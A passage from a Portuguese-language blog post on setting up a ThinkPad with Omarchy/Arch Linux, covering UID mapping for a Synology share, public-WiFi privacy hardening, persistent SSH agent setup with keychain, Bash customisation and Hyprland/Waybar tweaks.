<p>Outro detalhe importante: meu user no notebook tem UID 1026, que bate com a permissão do share no Synology. O Linux default cria user em 1000, o Synology impõe identidade via UID no fio. Se os UIDs não batem, você não consegue ler os arquivos, ou ainda pior, escreve como nobody. Rodei de TTY (com usuário deslogado) os <code>usermod</code>/<code>groupmod</code> pra remapear o user pra 1026/1026 e fiz <code>chown -R</code> em <code>/home</code>.</p>
<h3>Hardening de WiFi público<span class="hx:absolute hx:-mt-20" id="hardening-de-wifi-público"></span>
    <a href="#hardening-de-wifi-p%c3%bablico" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Notebook vai sair de casa. Num aeroporto ou café, eu não quero anunciar hostname, não quero MAC rastreável, não quero serviço escutando porta aberta.</p>
<p><code>/etc/NetworkManager/conf.d/00-macrandomize.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>[device]
wifi.scan-rand-mac-address=yes

[connection]
wifi.cloned-mac-address=stable
ethernet.cloned-mac-address=stable
connection.stable-id=${CONNECTION}/${BOOT}

ipv6.ip6-privacy=2
ipv6.addr-gen-mode=stable-privacy</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>MAC aleatório por scan (anti-fingerprinting passivo). MAC clonado estável por SSID (o portal cativo não te re-pergunta login toda vez) mas diferente entre redes. IPv6 com endereços temporários e interface ID derivado de segredo estável, não do MAC (sem vazar EUI-64).</p>
<p><code>/etc/systemd/resolved.conf.d/hardening.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>[Resolve]
LLMNR=no
MulticastDNS=no</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Mata broadcast de hostname em LLMNR e mDNS. Também desabilito avahi:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo systemctl disable --now avahi-daemon.service avahi-daemon.socket</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>UFW firewall:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo ufw default deny incoming
</span></span><span class="line"><span class="cl">sudo ufw default allow outgoing
</span></span><span class="line"><span class="cl">sudo ufw --force enable</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>SSH server já é off por default no Omarchy. Nada escutando. Mesmo que o firewall vaze, não tem superfície.</p>
<p>Tudo isso entra num único ritual de setup inicial.</p>
<h3>Persistência de SSH agent (keyring + keychain)<span class="hx:absolute hx:-mt-20" id="persistência-de-ssh-agent-keyring--keychain"></span>
    <a href="#persist%c3%aancia-de-ssh-agent-keyring--keychain" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Se você usa SSH sério, quer digitar a passphrase uma vez por boot e ter <code>ssh</code>, <code>git push</code>, <code>scp</code> mudos pelo resto do dia. No Arch atual isso tem uma pegadinha: o <code>gnome-keyring</code> 50 deixou de oferecer componente SSH, e o substituto (<code>gcr-ssh-agent</code>) é um agente plain em memória, sem persistência de passphrase. A caixa &ldquo;lembrar esta chave&rdquo; que você viu em guias antigos simplesmente não existe mais.</p>
<p>A combinação que funciona tem três peças:</p>
<ol>
<li><code>gcr-ssh-agent.socket</code> gerenciado pelo systemd serve o <code>SSH_AUTH_SOCK</code> em <code>$XDG_RUNTIME_DIR/gcr/ssh</code></li>
<li><code>pam_gnome_keyring</code> no login SDDM destrava o keyring com a senha de login (usado por apps GUI tipo Brave, não pelo SSH)</li>
<li><code>keychain</code> (wrapper) mantém um <code>ssh-agent</code> vivo entre logouts, sobrescreve o <code>SSH_AUTH_SOCK</code> pra apontar pra esse agent persistente, e cacheia o PID em <code>~/.keychain/&lt;host&gt;-sh</code></li>
</ol>
<p>Primeiro, instalo o keyring:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo pacman -S --needed gnome-keyring seahorse keychain</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Depois, edito <code>/etc/pam.d/sddm</code> pra o login password destravar o keyring automaticamente. Adiciono no topo:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>-auth      optional    pam_gnome_keyring.so</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E no final:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>-session   optional    pam_gnome_keyring.so    auto_start</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O hífen na frente (<code>-auth</code>, <code>-session</code>) marca como opcional, se o módulo não carregar, não quebra login.</p>
<p>Pino o <code>SSH_AUTH_SOCK</code> pra sessões gráficas e TTY via <code>~/.config/environment.d/ssh-agent.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>SSH_AUTH_SOCK=%t/gcr/ssh</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O <code>%t</code> resolve pra <code>$XDG_RUNTIME_DIR</code>, tipo <code>/run/user/1026</code>. Habilito o socket do gcr e o linger do usuário (pra user daemons sobreviverem ao logout):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">systemctl --user <span class="nb">enable</span> --now gcr-ssh-agent.socket
</span></span><span class="line"><span class="cl">sudo loginctl enable-linger <span class="nv">$USER</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Por fim, no <code>~/.config/bash/init.sh</code> o keychain inicia ou reusa o agent:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="k">if</span> <span class="nb">command</span> -v keychain <span class="p">&amp;</span>&gt;/dev/null <span class="o">&amp;&amp;</span> <span class="o">[[</span> -r ~/.ssh/id_ed25519 <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="nb">eval</span> <span class="s2">&#34;</span><span class="k">$(</span>keychain --eval --quiet ~/.ssh/id_ed25519<span class="k">)</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>--eval</code> emite atribuições shell (<code>SSH_AUTH_SOCK</code>, <code>SSH_AGENT_PID</code>) apontando pro agent do keychain, que passa por cima do gcr setado pelo environment.d. <code>--quiet</code> cala o banner depois que a chave está carregada.</p>
<p>Fluxo na prática: boot → primeiro terminal → keychain pede passphrase uma vez → chave fica carregada. Logout → login de novo → novos shells re-atacham no mesmo agent (via <code>~/.keychain/&lt;host&gt;-sh</code>) → zero prompt. <code>ssh-add -l</code> confirma que a chave está lá, <code>echo $SSH_AUTH_SOCK</code> confirma que está no caminho do keychain.</p>
<p>Quando você vai digitar a passphrase de novo: reboot, <code>ssh-add -D</code>, ou <code>keychain --clear</code>. Em uso normal, uma vez por dia.</p>
<h3>Bash em vez de ZSH<span class="hx:absolute hx:-mt-20" id="bash-em-vez-de-zsh"></span>
    <a href="#bash-em-vez-de-zsh" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>No desktop uso ZSH. No notebook fui de Bash pra alinhar com o default do Omarchy, sem dupla de camadas modulares pra manter. <code>~/.bashrc</code> é um symlink pra <code>~/.config/bash/bashrc</code>, que faz source dos defaults do Omarchy primeiro e depois empilha as minhas customizações:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">source</span> ~/.local/share/omarchy/default/bash/rc
</span></span><span class="line"><span class="cl"><span class="nb">source</span> ~/.config/bash/envs.sh
</span></span><span class="line"><span class="cl"><span class="nb">source</span> ~/.config/bash/aliases.sh
</span></span><span class="line"><span class="cl"><span class="nb">source</span> ~/.config/bash/mounts.sh
</span></span><span class="line"><span class="cl"><span class="nb">source</span> ~/.config/bash/init.sh
</span></span><span class="line"><span class="cl"><span class="nb">source</span> ~/.config/bash/secrets    <span class="c1"># gitignored, chmod 600</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>envs.sh</code> tem o que é meu: OpenRouter base URL, Ollama apontando pro GPU box da rede local (192.168.0.14), AWS region, analytics do Hugo, configs de zoxide e SSH agent. <code>aliases.sh</code> tem os atalhos de TLP, um alias pra <code>shell-gpt</code> via Docker, e functions pra hardenar o PATH quando rodo <code>makepkg</code> ou <code>yay</code> (prevenir injeção de binário via user config malicioso).</p>
<p><code>init.sh</code> faz o trabalho de integração. Atuin com bind manual do Ctrl-R (pra deixar a seta pra cima com o history-search padrão do bash, que eu uso mais). Keychain carregando <code>~/.ssh/id_ed25519</code> uma vez por boot e reusando nos shells seguintes (sem ter que re-autenticar SSH toda hora). Blesh se estiver instalado (autosuggestion estilo ZSH pra Bash). E uma função que manda o PROMPT_COMMAND ajustar o título da janela com o pwd atual e o comando em execução:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">__title_idle<span class="o">()</span> <span class="o">{</span> <span class="nb">printf</span> <span class="s1">&#39;\033]2;%s\007&#39;</span> <span class="s2">&#34;</span><span class="si">${</span><span class="nv">PWD</span><span class="p">/#</span><span class="nv">$HOME</span><span class="p">/~</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">;</span> <span class="o">}</span>
</span></span><span class="line"><span class="cl">__title_busy<span class="o">()</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="nb">local</span> <span class="nv">cmd</span><span class="o">=</span><span class="s2">&#34;</span><span class="si">${</span><span class="nv">BASH_COMMAND</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="o">[[</span> <span class="s2">&#34;</span><span class="nv">$cmd</span><span class="s2">&#34;</span> <span class="o">==</span> <span class="s2">&#34;__title_&#34;</span>* <span class="o">||</span> <span class="s2">&#34;</span><span class="nv">$cmd</span><span class="s2">&#34;</span> <span class="o">==</span> *<span class="s2">&#34;PROMPT_COMMAND&#34;</span>* <span class="o">]]</span> <span class="o">&amp;&amp;</span> <span class="k">return</span>
</span></span><span class="line"><span class="cl">  <span class="nb">printf</span> <span class="s1">&#39;\033]2;%s — %s\007&#39;</span> <span class="s2">&#34;</span><span class="si">${</span><span class="nv">PWD</span><span class="p">/#</span><span class="nv">$HOME</span><span class="p">/~</span><span class="si">}</span><span class="s2">&#34;</span> <span class="s2">&#34;</span><span class="nv">$cmd</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[[</span> -n <span class="s2">&#34;</span><span class="si">${</span><span class="nv">PROMPT_COMMAND</span><span class="p">-</span><span class="si">}</span><span class="s2">&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="nv">PROMPT_COMMAND</span><span class="o">=</span><span class="s2">&#34;__title_idle; </span><span class="si">${</span><span class="nv">PROMPT_COMMAND</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span>
</span></span><span class="line"><span class="cl">  <span class="nv">PROMPT_COMMAND</span><span class="o">=</span><span class="s2">&#34;__title_idle&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="cl"><span class="nb">trap</span> <span class="s1">&#39;__title_busy&#39;</span> DEBUG</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>No idle, título mostra só o pwd. Com um comando rodando, <code>trap DEBUG</code> pega o <code>BASH_COMMAND</code> em execução e atualiza o título. Integra com o <code>hyprland/window</code> do waybar pra mostrar tudo lá.</p>
<p>Pro toolbelt Rust moderno, a lista:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo pacman -S --needed <span class="se">\
</span></span></span><span class="line"><span class="cl">  eza bat fd ripgrep sd git-delta dust procs bottom duf tokei hyperfine <span class="se">\
</span></span></span><span class="line"><span class="cl">  zoxide atuin tldr starship</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>eza</code> substitui <code>ls</code>. <code>bat</code> substitui <code>cat</code> com syntax highlight. <code>fd</code> substitui <code>find</code>. <code>ripgrep</code> substitui <code>grep</code>. <code>sd</code> substitui <code>sed</code>. <code>delta</code> pluga no git pra diff side-by-side colorido. <code>dust</code> pro <code>du</code> visual. <code>procs</code> pro <code>ps</code>. <code>btm</code> (bottom) pro <code>top</code>. <code>duf</code> pro <code>df</code>. <code>tokei</code> conta linhas de código. <code>hyperfine</code> pra benchmark de comando. <code>zoxide</code> é <code>cd</code> com memória (muito útil). <code>atuin</code> é history do shell com sync criptografado (aponto pro meu home server via <code>sync_address = &quot;http://192.168.0.90:8888&quot;</code>). <code>starship</code> é o prompt. <code>tldr</code> é man page em 10 linhas.</p>
<p>O <code>atuin key</code> tem que ser backupeado offline. Se você perde, perde o histórico criptografado. Salvei no meu Bitwarden self-hosted (Vaultwarden), que eu documentei no <a href="/2025/09/10/omarchy-2-0-bitwarden-self-hosted-vaultwarden/">artigo sobre Bitwarden self-hosted</a>.</p>
<p>O git passa diff pelo delta:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>[core]        pager = delta
[interactive] diffFilter = delta --color-only
[delta]       navigate side-by-side line-numbers hyperlinks, light=false
[merge]       conflictstyle = zdiff3</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>Hyprland e Waybar<span class="hx:absolute hx:-mt-20" id="hyprland-e-waybar"></span>
    <a href="#hyprland-e-waybar" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Customizações visuais e de UX que fiz em cima do default.</p>
<p>No <code>hypr/looknfeel.conf</code>, gaps menores (2/5 vs 5/10 do default), animação de slide entre workspaces, VFR ligado (reduz consumo quando a tela está estática), <code>allow_session_lock_restore</code> (se o hyprlock crasha, volta pra tela de lock em vez de jogar pro desktop).</p>
<p>No <code>hypr/bindings.conf</code>:</p>
<table>
  <thead>
      <tr>
          <th>Binding</th>
          <th>Ação</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><code>Super+B</code></td>
          <td>Brave</td>
      </tr>
      <tr>
          <td><code>Super+L</code></td>
          <td>Lock screen (default era layout toggle)</td>
      </tr>
      <tr>
          <td><code>Super+Ctrl+L</code></td>
          <td>Layout toggle (movi pra cá)</td>
      </tr>
      <tr>
          <td><code>Super+Ctrl+P</code></td>
          <td>Toggle TLP perf mode</td>
      </tr>
  </tbody>
</table>
<p>No Waybar, três módulos custom que recomendo:</p>
<p><strong>Título de janela</strong>: o módulo <code>hyprland/window</code> mostra o que tá focado. No bash, o PROMPT_COMMAND atualiza o título pra algo como &ldquo;~/Projects/blog — hugo server&rdquo;. Então no waybar aparece o diretório e o comando em execução, sem eu precisar olhar pro terminal.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/hypr---window-title-on-waybar.png" alt="Waybar mostrando workspaces à esquerda e o título da janela focada com o pwd e comando em execução"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/hypr---another-window-title-on-waybar.png" alt="Outro exemplo do título da janela no waybar, dessa vez mostrando “Claude Code”"  loading="lazy" /></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsonc" data-lang="jsonc"><span class="line"><span class="cl"><span class="s2">&#34;hyprland/window&#34;</span><span class="err">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;format&#34;</span><span class="p">:</span> <span class="s2">&#34;{title}&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;max-length&#34;</span><span class="p">:</span> <span class="mi">50</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;rewrite&#34;</span><span class="p">:</span> <span class="p">{</span> <span class="nt">&#34;(.{47}).+&#34;</span><span class="p">:</span> <span class="s2">&#34;$1…&#34;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>Perf mode</strong>: o <code>custom/perf</code> executa um script que lê o estado do TLP e mostra um ícone:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsonc" data-lang="jsonc"><span class="line"><span class="cl"><span class="s2">&#34;custom/perf&#34;</span><span class="err">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;exec&#34;</span><span class="p">:</span> <span class="s2">&#34;~/.config/scripts/perf-waybar.sh&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;interval&#34;</span><span class="p">:</span> <span class="mi">3</span><span class="p">,</span>
